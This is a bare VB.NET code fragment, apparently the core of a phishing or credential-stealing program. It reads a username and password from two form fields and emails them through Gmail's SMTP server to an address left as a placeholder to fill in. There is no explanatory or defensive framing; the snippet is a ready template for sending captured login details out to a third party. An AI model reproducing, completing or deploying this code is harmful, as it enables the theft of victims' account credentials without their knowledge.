Dim msg As String

msg = "Username: " + un.Text + vbNewLine + "Password: " + pw.Text
            Dim message As System.Net.Mail.MailMessage
            Dim smtp As New System.Net.Mail.SmtpClient("smtp.gmail.com", 587)
            message = New System.Net.Mail.MailMessage("EMAIL HERE", "<-- DUPLICATE", "TITLE", msg)
            smtp.EnableSsl = True
            smtp.Credentials = New System.Net.NetworkCredential("EMAIL HERE ASWELL", "PASSWORD HERE.")
            smtp.Send(message)